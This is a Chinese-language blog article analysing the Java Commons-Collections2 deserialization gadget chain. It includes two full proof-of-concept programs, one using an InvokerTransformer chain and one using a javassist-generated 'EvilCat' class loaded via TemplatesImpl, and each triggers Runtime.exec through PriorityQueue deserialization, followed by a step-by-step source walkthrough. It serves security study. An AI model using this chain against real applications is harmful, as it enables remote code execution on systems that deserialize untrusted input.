栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

java反序列化之Commons-Collections2链分析

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

java反序列化之Commons-Collections2链分析

环境

JDK 1.7
Commons Collections 4.0
javassit

maven所需pom

    org.apache.commons
    commons-collections4
    4.0


    org.javassist
    javassist
    3.25.0-GA

ysoserial中的cc2利用链使用了javassit,javassit是什么呢?
这篇文章说的很清楚:
Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。

本地poc分析
package org.example.cc;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class cc2Demo1 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc.exe"}));
        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("result.ser"));
            outputStream.writeObject(queue);
            outputStream.close();
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(new File("result.ser")));
            objectInputStream.readObject();
            objectInputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
}

我们先从java.util.PriorityQueue类中的readObject方法中看:

queue[i]的值是由s.readObject得到的,相对应的再writeObject处写入了对应的内容:

我们可以通过反射来设置queue[i]的值来控制queue[i]内容,也就是说queue[i]是我们可控的
跟进heapify方法:

进入for循环需要一个条件,就是size>1,因为size >>> 1进行了右移位操作,所以只有当size>1的时候才会进入循环
跟如siftDown方法:

这里的x即为queue[i],跟进siftDownUsingComparator方法。

重点是加断点的那一行,if (comparator.compare(x, (E) c) <= 0),x就是我们传入的queue[i],comparator接口跟进是TransformingComparator接口,而TransformingComparator接口实现了Comparator接口,重写了compare方法

compare方法中
可以发现,这里对this.transformer调用了transform方法,如果这个this.transformer可控的话,就可以触发cc1中的后半段链。
图中this.transformer并没有被static或transient修饰,所以是我们可控的。
实现代码为上面poc中的:

TransformingComparator comparator = new TransformingComparator(chain);

问题1:
为什么这里要put两个值进去?
这里往queue中put两个值,是为了让其size>1,只有size>1才能使的i>0,才能进入siftDown这个方法中,完成后面的链。
问题2:
必须在add后,再反射设置comparator值,在add中的siftUp方法中,需要让comparator为null,才会走else,走else才可以添加到queue中,否则会报错

ysoserial-cc2利用链分析

ysoserial的cc2中引入了 TemplatesImpl 类,需要javassit.
poc:

package org.example.cc;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class cc2Demo2 {

    public static void main(String[] args) throws Exception {
        // 反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为"newTransformer"
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        // 实例化一个TransformingComparator对象,并且传入了transformer,需要注意TransformingComparator中的compare方法
        TransformingComparator comparator = new TransformingComparator(transformer);
        // 实例化PriorityQueue对象,
        PriorityQueue queue = new PriorityQueue(1);




        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool pool = ClassPool.getDefault();
        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Cat
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
        // 给这个类创建 static 代码块,并插入到类中
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        cc.setName(randomClassName);
        // 给这个类添加一个父类,即继承该父类。
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
        //将生成的类文件保存下来
        cc.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = cc.toBytecode();
        // 将字节数组放置到一个二维数组的第一个元素
        byte[][] targetByteCodes = new byte[][]{classBytes};
//        System.out.println(targetByteCodes);
        // 实例化TemplatesImpl对象
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        // 通过反射设置字段的值为二维字节数组,
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);
        // 新建一个对象数组
        Object[] queue_array = new Object[]{templates,1};


        // 反射设置PriorityQueue的queue值
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        // 反射设置PriorityQueue的size值
        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);

        // 反射设置PriorityQueue的comparator值
        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);


        try{
            // 序列化对象
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("result.ser"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(new File("result.ser")));
            objectInputStream.readObject();
            objectInputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

下面我们来拆解代码(其实每行代码都有注解):
片段1:
反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为"newTransformer"

// 反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为"newTransformer"
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

片段2:
实例化一个TransformingComparator对象,并且传入了transformer
实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;

        // 实例化一个TransformingComparator对象,并且传入了transformer,需要注意TransformingComparator中的compare方法
        TransformingComparator comparator = new TransformingComparator(transformer);
        // 实例化PriorityQueue对象,
        PriorityQueue queue = new PriorityQueue(1);

片段3:
javassit创建一个class文件

        // ClassPool是 CtClass 对象的容器。实例化一个ClassPool容器。
        ClassPool pool = ClassPool.getDefault();
        // 向容器中的类搜索路径的起始位置插入AbstractTranslet.class,个人认为是方便让后面能够找到这个类
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        // 使用容器新建一个CtClass,相当于新建一个class,类名为Cat
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
        // 给这个类创建 static 代码块,并插入到类中
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        // 重新设置类名为一个随机的名字
        cc.setName(randomClassName);
        // 给这个类添加一个父类,即继承该父类。
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
        // 将这个类输出到项目目录下
        //将生成的类文件保存下来
        cc.writeFile("./");
        // 将这个class转换为字节数组
        byte[] classBytes = cc.toBytecode();
        // 将字节数组放置到一个二维数组的第一个元素
        byte[][] targetByteCodes = new byte[][]{classBytes};  

片段4:
使用TemplatesImpl的空参构造方法实例化一个对象;
再通过反射对个字段进行赋值,为什么这么赋值会在稍后的分析源码中体现;

        // 实例化TemplatesImpl对象
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        // 通过反射设置字段的值为二维字节数组,
        setFieldValue(templates, "_bytecodes", targetByteCodes);
        // 进入 defineTransletClasses() 方法需要的条件
        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

片段5:
新建一个对象数组,第一个为templates,第二个为1
通过反射来设置queue值

        // 新建一个对象数组
        Object[] queue_array = new Object[]{templates,1};
        // 反射设置PriorityQueue的queue值
        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

片段6:
通过反射将queue的size设为2,与本地poc中使用两个add的意思一样

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

片段7:
反射设置PriorityQueue的comparator值

        // 反射设置PriorityQueue的comparator值
        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);

从PriorityQueue.readObject()方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2;

跟进siftDown方法,comparator参数就是我们传入的TransformingComparator实例化的对象;

到TransformingComparator的compare方法,obj1就是我们传入的templates, 这里的this.transformer就是我们传入的InvokerTransformer实例;

跟到InvokerTransformer.transform(),input就是前面的obj1,this.iMethodName的值为传入的newTransformer,因为newTransformer方法中调用到了getTransletInstance方法;

接着调用templates的newTransformer方法,而templates是TemplatesImpl类的实例化对象,也就是调用了TemplatesImpl.newTransformer();
跟到newTransformer方法中:

继续跟踪getTransletInstance方法;
进行if判断,_name不为空,_class为空,才能进入defineTransletClasses方法;
这就是片段4中赋值的原因;

继续跟进defineTransletClasses方法,

_bytecodes是我们传入的targetByteCodes,所以回继续向下,


通过loader.defineClass将字节数组还原为Class对象,_class[0]就是javassit新建的类EvilCat118492199735900
再获取它的父类,检测父类是否为ABSTRACT_TRANSLET,所以代片段3中要设置AbstractTranslet类为新建类的父类;

给_transletIndex赋值为0后,返回到getTransletInstance方法,创建_class[_transletIndex]的对象,即创建EvilCat118492199735900类的对象,那么该类中的static代码部分就会执行,成功执行命令。

参考:
https://paper.seebug.org/1242/#commonscollections-2
https://www.cnblogs.com/rickiyang/p/11336268.html
https://blog.csdn.net/qq_41918771/article/details/117194343
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/703650.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号